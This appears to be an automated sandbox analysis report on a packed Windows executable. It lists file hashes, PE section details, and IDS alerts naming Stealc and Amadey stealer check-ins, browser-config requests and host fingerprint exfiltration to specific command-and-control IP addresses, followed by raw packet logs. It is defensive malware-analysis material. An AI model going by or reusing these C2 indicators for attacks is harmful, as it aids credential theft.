SSDEEP:	96:thtsliSFd66666rVoKSDj7njH+6iEftvbKV3EQffffo:tT6vFd66666rVXSrjHXiEVzuW
MD5:	7421B818F036694F2C07B428DC63C7AF
SHA1:	8D53A4D866C35421B5F985B52DE62C2D80F46BA2
SHA-256:	773783B7FD13EC529FF91590BB2B94A33DBA924C50C8576503477E291C4BE35E
SHA-512:	EA5188215C170AD9FE1F6C4B629F986060510729ADEE3CA5F2C75D1FC3E46F4537C9EA16FE4070FBE1F451A7566EE1DC991E9E4E3E249626C6625CF06FC7F5DE
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["cma chris stapleton","drinking water","google pixel tablet","weather forecast snow storm","nvidia stocks earnings","2025 nfl mock drafts","2025 coachella lineup","samsung galaxy s25 ultra"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CgkvbS8wMWM2eGYSBEZvb2Qy0w1kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQ0FnTUJBQUFBQUFBQUFBQUFBQUFGQmdFRUFBTUhBdi9FQURFUUFBRURBZ1FFQXdjRkFRQUFBQUFBQUFFQ0F4RUFCQVVTSVRFR1FWRmhFeUp4RkNNeVVwR2gwVE5DZ2JIaEIvL0VBQmtCQUFJREFRQUFBQUFBQUFBQUFBQUFBQU1FQUFFQ0JmL0VBQjhSQUFJQ0FnSURBUUFBQUFBQUFBQUFBQUVDQUFN

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435283716324469
Encrypted:	false
SSDEEP:	3072:fzkXyPqO7UX1Hme9kZbs4Voc5tSnXqwQ2i6o:fEyWFHrp4Voc5tSnawQ8o
MD5:	08FD1370AFBF160183F67159C5825987
SHA1:	54166A60C2F1CF4490F285CFC67B88741B4643E3
SHA-256:	398847C59CF0E1F019571D6E58EFEF7B1D1AA6C4F035C7BB63F2868744F73579
SHA-512:	F342C21DAAB6266A1B84BFF1280A6CDD1533B6430CB28D62FB03A3E1DB819F679CD531E98384CC07B3C97B4ED12BD08597A2060756229912C23AB76E5246BCBA
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9431677769195685
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'785'344 bytes
MD5:	bc7e15f0d547a97f33b7084eb8bb6e35
SHA1:	83ee297f1a2f1651c6596c5349614ea27e4643d5
SHA256:	bee50744a16bd59e87b06e58043e3efd7bd2d3fb31f25e4481a9ea498e181194
SHA512:	e02e938300749d0c12b14a7b58c7cbd5bb0ab24680313bdcce95aef40403dcebfd10e1ce9f27088e6540fb21e5df70e09b296eeca832e165c74f4cf72b08b1ae
SSDEEP:	49152:LNBT0HaEo1FfN7IBTXRFIYx8XmRET4aQV8pfk:5BTtRFeTBFI0JXdIfk
TLSH:	4C85333A31BB79A0C84D4539AFAF8748516AEB8340E8D03F6B5A742C9513B5C4EDD07B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa86000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1484858E8Ah
hint_nop dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+1Eh], ah
adc dword ptr [eax], edx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [esi], bl
adc dword ptr [eax], edx
add byte ptr [eax], al
add byte ptr [eax], al
mov eax, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	9ff02a104a3249e9a7f12cf557242fad	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	3bdf484128f1f5de1969cb54165a13fb	False	0.58203125	data	4.53822504614171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29f000	0x200	a0b285bb958eca2c2755ce9dc5c9ad2b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rdtlmipf	0x4eb000	0x19a000	0x19a000	8e4da824565e81720d790ccc533ac368	False	0.9946562976371951	data	7.952601384719969	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aelxuhkz	0x685000	0x1000	0x400	3ab2ce5977bc324e3d4095d19b05e7f5	False	0.7587890625	data	6.024138345909062	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x686000	0x3000	0x2200	696e488801caad283b798f76552dafd0	False	0.06330422794117647	DOS executable (COM)	0.9843034501005329	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x684e3c	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-22T14:43:25.209913+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49721	185.215.113.206	80	TCP
2024-11-22T14:43:25.665062+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49721	185.215.113.206	80	TCP
2024-11-22T14:43:25.787118+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49721	TCP
2024-11-22T14:43:26.122204+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49721	185.215.113.206	80	TCP
2024-11-22T14:43:26.417519+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49721	TCP
2024-11-22T14:43:27.764926+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49721	185.215.113.206	80	TCP
2024-11-22T14:43:28.531972+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49721	185.215.113.206	80	TCP
2024-11-22T14:43:52.446932+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:43:54.453281+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:43:55.801149+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:43:56.924212+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:44:00.580562+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:44:01.683789+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49819	185.215.113.206	80	TCP
2024-11-22T14:44:07.668446+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49949	185.215.113.16	80	TCP
2024-11-22T14:45:06.537935+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50093	185.215.113.43	80	TCP
2024-11-22T14:45:11.044428+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50105	31.41.244.11	80	TCP
2024-11-22T14:45:20.549675+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50102	TCP
2024-11-22T14:45:21.940374+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50131	185.215.113.43	80	TCP
2024-11-22T14:45:23.427432+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50136	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 14:43:11.865504980 CET	49673	443	192.168.2.6	173.222.162.64
Nov 22, 2024 14:43:11.865520000 CET	49674	443	192.168.2.6	173.222.162.64
Nov 22, 2024 14:43:11.876509905 CET	443	49713	20.198.118.190	192.168.2.6
Nov 22, 2024 14:43:11.927856922 CET	49713	443	192.168.2.6	20.198.118.190
Nov 22, 2024 14:43:12.077752113 CET	443	49713	20.198.118.190	192.168.2.6
Nov 22, 2024 14:43:12.131020069 CET	49713	443	192.168.2.6	20.198.118.190
Nov 22, 2024 14:43:12.193519115 CET	49672	443	192.168.2.6	173.222.162.64
Nov 22, 2024 14:43:12.278986931 CET	443	49713	20.198.118.190	192.168.2.6
Nov 22, 2024 14:43:12.280703068 CET	49713	443	192.168.2.6	20.198.118.190
Nov 22, 2024 14:43:12.400331020 CET	443	49713	20.198.118.190	192.168.2.6
Nov 22, 2024 14:43:12.830497026 CET	443	49713	20.198.118.190	192.168.2.6
Nov 22, 2024 14:43:12.883799076 CET	49713	443	192.168.2.6	20.198.118.190
Nov 22, 2024 14:43:13.522747040 CET	443	49714	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:13.522886992 CET	49714	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:13.529159069 CET	49714	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:13.529181957 CET	443	49714	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:13.529617071 CET	443	49714	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:13.544256926 CET	49714	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:13.544365883 CET	49714	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:13.544372082 CET	443	49714	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:13.544526100 CET	49714	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:13.587352991 CET	443	49714	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:14.111546040 CET	443	49714	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:14.112646103 CET	49714	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:14.112647057 CET	49714	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:14.112679958 CET	443	49714	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:14.112771034 CET	49714	443	192.168.2.6	20.198.119.84
Nov 22, 2024 14:43:16.414596081 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:16.414640903 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:16.414752960 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:16.415163994 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:16.415178061 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.058537960 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.058650017 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.061131954 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.061141014 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.061389923 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.115365982 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.216869116 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.259337902 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.603682995 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.603728056 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.603754044 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.603768110 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.603790045 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.603809118 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.603832006 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.603863955 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.603915930 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.603919983 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.603959084 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.603981972 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.648215055 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.803709984 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.803726912 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.803751945 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.803760052 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.803788900 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.803809881 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.803961992 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.803961992 CET	49715	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:18.845489025 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.845515966 CET	443	49715	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:18.845577002 CET	49715	443	192.168.2.6	13.107.246.63
